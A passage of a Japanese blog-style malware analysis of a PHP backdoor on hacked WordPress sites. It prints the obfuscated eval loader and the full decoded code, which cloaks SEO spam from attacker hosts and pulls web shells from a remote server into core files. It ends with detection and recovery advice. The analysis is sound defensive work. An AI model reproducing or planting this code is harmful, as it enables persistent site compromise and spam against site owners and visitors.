OHjSfDtbyUG37EvRHM6SBav45Iz/STKEl3UxKYBzqpjf0OQjV5fkWw4h70T3U3UEPXtGcsU18z8fE3foMGZ8JmulwKLHz3aLYESvffpihem3fZQRsdepHDMreuIEshvv5pcPT3GGyjLXBDkLeL2PYA6YhxSlJIqjG4otJCtM3O+r3pqRqfNGtuuT6EqcIS4S5FH33hnONBVPAb7af1m9vd56VpTm4athP8oNde4ksxgmvYOlZ1ofdznQ/mMutdZV3AXIpiG/WxQkRb7xXvFMg+rCNcLa4tG0/Dsl1tHL83H3dPFRSLTZUYqy7l+R9dML/nRfJfuDBW3v7+fStiPf+LoXkYPFCJ8zc8sLjthGLJOURPzcgjLDbjK35r41r1OEIo9O5HEgLxnscSdTJ+3+GCsrIlBwyNdva9Bw26Fd7jsOG75Wo6dKiXa+nBQ6MslbWoX7z+L1xGKy2hJTeLllj38utFJSNfU17v7ov0Ozzj/df2/w8NH2z9fu+h4ar8n3S3V+QPkMan5JIELFbwYkCOrstyLLWACtdbTUAKIS+P7hps3TabTOXsVHqsdf1fwxAuRP1aeKyEbfjlj/6jF3Wab7QEJl/6WvVxk58xvUqQKjsuapn8x9bA17TNL94kSTaMYTRPZ/JVvYlfZR8FQxJTVBEnZtmGdY2AusrFuZTR0jiKg6lyNXRT3XVUY0So8gmeoX7CzsZmM7za0mrlV0650otPpTi2+DMoOT3a7CTZhKT/5gmisxAMa8h/a8UP9FrmGYl9AD9LvUsSkRTmYkpjPmPDhCYc5wf2Nk7mBu58vA2aQs/1Un8SXrK3L8k88JJXDPXT8Jg//NG79IzWyQjsFvC8qQGk29D+ygvfzIeS0F+SMPKYUbDDG87+lerOFqEvhONSqJ7hjJDgOn9/TyAVSsMreDy9ziZJvAV7YBSew/tRRK5AlA9HxpGQGeU4ohfwt3/lcZ6v5zRL4PsENojkCobQ+ZKoQV17/jXynINLvOZNERlT/FrMtoDtZehF8HY8z/wJAmaefzHwpudc9LMJYeoTKquIAh4mMrIkQRKf/rj9mEt0DP4j9UZcqR/6r1Nvwcn99R3JGDgTwEvPwxge3oZ0YlCCPExYPNA4Bjq4js69MJjjg5dElujCb67zVxzoaJKSEcWX2gWnWdB//orjkQ27n8xXHLssttI1ZTmIjSJOYbVVLy3LrpWuLt8KXHOBWfEuj6R8l7lAXL/RnKtTXmsukCrcbVb3IvL7I/KqgNoB9J888eskpbskzGEFqCosddRB4GcxwYy9xQ/KABavfXDYSZv/HpXNc/3ZWfGX61jOYsk7KyTwXybi40YP/4kP/c0xGwpCcpQ/fcUkAF/uVhlmCpfi75XNuKJ94IR6/xc='";
$a=base64_decode($x);
$b=gzinflate($a);
eval($b);
最後の eval で実行されている実態は、以下のようなコードです。
コード全文
<?php
error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss.xml';
$dt = 0;
$sitemap_file = 'sitemap';
$mapnum = 2000;
if(isset($_GET['dt'])){
$dt = $_GET['dt'];
}
$site = @$_GET['smsite'];
$jdir = '';
$http_web = 'http';
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$smuri_tmp = smrequest_uri();
$uri_script = "";
if(strstr($smuri_tmp, ".php") && !$site){
$uri_arr = explode(".php", $smuri_tmp);
$uri_script = $uri_arr[0].".php?";
$smuri_tmp = $uri_arr[1];
$smuri_tmp = str_replace("?", "/", $smuri_tmp);
}
if($smuri_tmp==''){
$smuri_tmp='/';
}
$s = 'b'.'ase6'.'4_e'.'ncode';
$smuri = $s($smuri_tmp);
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
@$action = $_GET['ac']?$_GET['ac']:"";
if($action != "" && $action == "write"){
write();
echo "write done!";
exit();
}
$temp = @$_GET['smtemp'];
$id = @$_GET['smid'];
$page = @$_GET['smpage'];
$site = str_replace('/','',$site);
$host = $_SERVER['HTTP_HOST'];
$clock = '';
$tempweb = @$_GET['tempweb'];
$tempweb = str_replace('/','',$tempweb);
if(preg_match('@pingsitemap.xml@i',$smuri_tmp)){
@header("Content-type: text/css; charset=utf-8");
if($uri_script == ""){$uri_script="/";}
$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap.xml";
$contents = get($sitemap);
if(strpos($contents, "Sitemap Notification Received")){
echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : OK!<br>";
}else{
echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : ERROR!<br>";
}
$mnum = mt_rand(30, 80);
for($i = 0; $i < $mnum; $i++){
$sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap$i.xml";
$contents = get($sitemap);
if(strpos($contents, "Sitemap Notification Received")){
echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : OK!<br>";
}else{
echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : ERROR!<br>";
}
}
exit;
}
$goweb = 'seo35.hasapro.xyz';
$password = md5(md5(@$_GET['pd']));
if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
$add_content = @$_GET['mapname'];
$action = @$_GET['action'];
$domain = @$_GET['domain'];
if($domain){
$host = $domain;
}else{
$host = $_SERVER['HTTP_HOST'];
}
//$host = $_SERVER['HTTP_HOST'];
$path = dirname(__FILE__);
$file_path = $path.'/robots.txt';
if(!$action){
$action = 'put';
}
if($action == 'put'){
$data = 'User-agent: *
Allow: /';
$uri_script = trim($uri_script);
if( $uri_script!= "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml";
}
$num = mt_rand(5, 10);
for($i = 0; $i<$num; $i++){
if(trim($uri_script) != "" && $uri_script!="/index.php?"){
$data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml";
}else{
$data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml";
}
}
@chmod("robots.txt", 0755);
file_put_contents("robots.txt", $data);
echo "robots write done!!";
}
if($action == 'del'){
if(file_exists($file_path)){
$data = smoutdo($file_path);
}else{
$data = '';
}
if(strstr($data,'/'.$add_content)){
if(is_https()){
$data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content;
}else{
$data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content;
}
if(file_put_contents($file_path,$data_new)) {
echo '<br>ok<br>';
}else{
echo '<br>file write false!<br>';
}
}else{
echo '<br>sitemap does not exist!<br>';
}
}
exit;
}
function is_https() {
if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return true;
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return true;
} elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return true;
}
return false;
}
if($tempweb){
$site = $tempweb[0].$tempweb[1].$tempweb[2];
$temp = substr($tempweb,3);
}
$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = $s($lang);
$os = $_SERVER['HTTP_USER_AGENT'];
$os = $s($os);
if(isset($_SERVER['HTTP_REFERER'])){
$urlshang = $_SERVER['HTTP_REFERER'];
$urlshang = $s($urlshang);
}else{
$urlshang = '';
}
if(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$clock = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$clock = $_SERVER['REMOTE_ADDR'];
}
$http_clock = '';
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$http_clock = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$http_clock = getenv('HTTP_X_FORWARDED_FOR');
}
if(stristr($clock,',')){
$clock_tmp = explode(",",$clock);
$clock = $clock_tmp[0];
}
if(!isset($sitemap_file) || @$sitemap_file==''){
$sitemap_file = 'sitemap';
}
if(!isset($mapnum) || @$mapnum==''){
$sitemap_file = 2000;
}
if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
@header("Content-type: text/xml");
if(isset($uriarr[1])){
$id = str_replace('_','',$uriarr[1]);
}else{
$id = 100;
}
$ivmapid = 0;
sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
exit();
}
function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
$web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew;
return trim(smoutdo($web));
}
function sitemap_out($url,$host,$uri_script){
if(is_https()){
$http = 'https';
}else{
$http = 'http';
}
$date_str = date("Y-m-d\TH:i:sP",time());
$sitemap_header = '<?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">';
$sitemap_header .= '
<url>
<loc>'.$http.'://' . $host . "/" . '</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
$url_arr = explode("\r\n",$url);
$map_str = $sitemap_header;
foreach($url_arr as $value){
$map_str .= '
<url>
<loc>'.$http.'://' . $host . "/" .$value .'</loc>
<lastmod>' . $date_str . '</lastmod>
<changefreq>daily</changefreq>
<priority>0.1</priority>
</url>';
}
if($uri_script != ""){
$map_str = str_replace($host."/",$host.$uri_script, $map_str);
}
echo $map_str."
</urlset>";
}
function get($url){
$contents = @file_get_contents($url);
if (!$contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$contents = curl_exec($ch);
curl_close($ch);
}
return $contents;
}
function write(){
$write1 = get("http://hello.firstguide.xyz/write1.txt");
$write2 = get("http://hello.firstguide.xyz/write2.txt");
$shell_postfs = get("http://hello.firstguide.xyz/mm1.txt");
$shell_load = get("http://hello.firstguide.xyz/mm2.txt");
$new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt");
$ht_content = file_get_contents(".htaccess");
$index_content = file_get_contents("index.php");
$loader_php = "wp-includes/template-loader.php";
$load_php = "wp-includes/load.php";
$font_editor_php = "wp-includes/SimplePie/index.php";
if(!is_dir("css")){
mkdir("css", 0755, true);
}
@chmod("css/.htaccess", 0755);
file_put_contents("css/.htaccess", $new_ht_content);
file_put_contents("css/load.php", $shell_load);
if(is_dir("wp-includes/SimplePie")){
file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);
$loader_content = file_get_contents($loader_php);
$load_content = file_get_contents($load_php);
@chmod($loader_php, 0755);@chmod($load_php, 0755);
file_put_contents($loader_php, $write1.$loader_content);
file_put_contents($load_php, $load_content.$write2);
@chmod($loader_php, 0644);@chmod($load_php, 0644);
file_put_contents($font_editor_php, $shell_postfs);
}
}
if(stristr($smuri_tmp,'.css')){
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
@header("Content-type: text/css; charset=utf-8");
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}else if($site){
if($site == 'xml'){
@header("Content-type: text/html; charset=utf-8");
$mapdir = @$_GET['mapdir'];
$maptype = @$_GET['maptype'];
$filetype = @$_GET['filetype'];
$map_splits_num = @$_GET['map_splits_num'];
$map_num = @$_GET['map_num'];
$dataNew = @$_GET['dataNew'];
if($mapdir){
if(!is_dir($mapdir)){
@mkdir($mapdir,0777,true);
echo 'ok '.$mapdir.' success!<br>';
}else{
echo $mapdir.' already exist!<br>';
}
}
if(@$_GET['mapindex']){
$filearray = listDir($mapdir);
if(count($filearray)>=2){
$mapindex_str = '';
$mapindex_str = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.google.com/schemas/sitemap/0.84">';
foreach($filearray as $value){
if(stristr($value,'.xml')){
$mapindex_str .= '
<sitemap>
<loc>'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'</loc>
</sitemap>';
}
}
$mapindex_str .= '
</sitemapindex>';
$xmlname = @$_GET['mapindex'].'.xml';
$myfile = fopen($xmlname, "w");
fwrite($myfile, $mapindex_str);
fclose($myfile);
echo "ok<br>http://".$_SERVER['HTTP_HOST']."/".$xmlname;
//echo "<br>".$web;
exit;
}else{
echo 'xml file less number mapindex faile!';
exit;
}
}
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
if(substr($temp,0,8)=='shellxml'){
$xmlname = substr($temp,8).'.xml';
}
if(substr($temp,0,7)=='hackxml'){
if(substr($temp,7)){
$xmlname = substr($temp,7).'.xml';
}
}
if(@$_GET['mapdir']){
if($filetype==1){
$xmlname = $xmlname.'.gz';
}else if($filetype==2){
if(function_exists('gzopen')) {
$xmlname = $xmlname.'.gz';
if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
gzwrite ($fp, $xml);
gzclose($fp);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
gzclose($fp);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
echo '<font style="color:red">gzopen no exists!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
echo "<br>".$web;
exit();
}
}
if(fopen($mapdir.'/'.$xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($mapdir.'/'.$xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "<br>".$web;
exit();
}
}else{
if(fopen($xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo '<font style="color:red">no creat map!</font>';
exit;
}
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok<br>".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}else{
fclose($myfile);
echo '<font style="color:red">creat sitemap faile No Permissions!</font><br>'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
echo "<br>".$web;
exit();
}
}
}
if($id){
@header("Content-type: text/html; charset=utf-8");
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}else{
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if($uri_script != ""){
$html_content = str_replace($host."/",$host.$uri_script, $html_content);
}
if(!strstr($html_content,'nobotuseragent')){
@header("Content-type: text/html; charset=utf-8");
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($html_content,'getcontent301page')){
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page",'',$html_content);
header('Location: '.$html_content);
exit();
}
}
}
function smisbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
foreach ($googleBot as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smotherbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
foreach ($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smoutdo($url){
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
function listDir($dir){
$filearr = array();
if(is_dir($dir)){
if ($dh = opendir($dir)){
while (($file = readdir($dh)) !== false){
if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
$filearr[] = $file;
}
}
closedir($dh);
}
}
return $filearr;
}
266行目あたりからの file_put_contents() で、ファイルがごりごり改ざんされているのお分かりいただけるでしょうか。
改ざん内容は外部に持っているようで、 URLがいくつか記載されていますね。
このURLの内容を変更するだけで、侵入済の全サイトに対する攻撃方法を、一気に変えられるようになっているわけです。
バックドアの攻撃フロー
さて、そもそもどうやってバックドアがサイトに設置されるのかといえば、
最初は、例えば、WordPressのプラグイン等の脆弱性を突かれて、最初のバックドアが置かれます。
その性質上、メールフォームなどのファイルアップロード機能をもつプラグインや、
キャッシュやログなどのファイル生成を行うプラグインであることが多いです。
最近(2021年12月〜)では、MovableType(MT)の脆弱性を突いた攻撃も多発しています。
最初のバックドアが置かれて以降は、
大元の脆弱性を突いた攻撃と、
設置されたバックドアによる2次攻撃、3次攻撃が繰り返されていきます。
つまり、一度被害に遭ってしまえば、大元の脆弱性を特定・解消した上で、
既に入り込んでしまった全てのバックドアを見つけ出して潰すまで、攻撃が止まりません。
バックドアの攻撃を受けてしまったら
特に、WordPressのようにディレクトリ構造が画一的な場合、
コアファイル (wp-admin/ や wp-includes/) 内やプラグインファイル内、
uploads フォルダ内の末端フォルダなど、
わかりにくい場所にピンポイントでバックドアを設置されるため、
目視で発見するのはかなり困難になります。
前述のように、内容の grep で見つけるのも不可能に近いです。
1. ファイルの差分をチェック
GITでソース管理していたり、確実に攻撃前のバックアップがあれば、
DIFFを見ることである程度特定できる場合があります。
ただし、uploads ディレクトリ等、ソース管理の対象外となっているディレクトリや、
ファイルが自然に増えるようなディレクトリ内こそ狙われるので、
これだけでは不十分です。
2. タイムスタンプで検出
初回攻撃から日が浅い場合は、以下のようなコマンドで、
最近更新されたファイルを洗い出すことができます。
find . -type f -mmin -14400
上記の例では、10日以内に更新されたファイルをリストアップします。
ただし、タイムスタンプ (mtime) は改ざんが可能なので、これも100%ではありません。
(あとこういう攻撃を受けるようなサイトに限って、SSHログインできないレンサバだったりします)
3. ロールバック or サーバ移管
上記1・2で洗い出せたファイルを全て潰しても攻撃が止まなければ、選択肢は2つです。
ひとつは、サーバ上のファイルを全て削除した上で、攻撃を受ける前のバックアップに戻すこと。
日々サイトが更新されていたら、当然その分が先祖返りしてしまいますが、やむを得ません。
もうひとつは、そのサーバを捨てて別のサーバに引っ越すことです。
その際、バックドアごと引っ越してしまうと意味がありませんので、
例えば WordPress であれば、WordPress 本体とプラグインはまっさらな状態からインストールします。
その上で、テーマファイルとアップロードファイルのみ、
"全ファイル目視でチェックしてから" 新サーバにコピーします。
どちらの場合でも、大元となる脆弱性を特定、解消できていることが前提です。
最後に
改ざんからリカバリーまでに時間を要してしまうと、
サイトを訪問したお客様が迷惑を被ってしまったり、
サイトが Google の検索結果から消えてしまうなど、
営業上も大きなダメージを受けることになります。
- 脆弱性の情報に常にアンテナを貼る。
- CMSやミドルウェア等は定期的にアップグレードする。
- リニューアル前の過去ソースなど、不要なファイルはサーバ上から削除する。
- 万一に備えて自動バックアップやソース管理を適切に行う。
単なるホームページといえども、
Webアプリケーションを作り、運用する以上は、
危険と隣り合わせであるということを意識しておきましょうね。
Discussion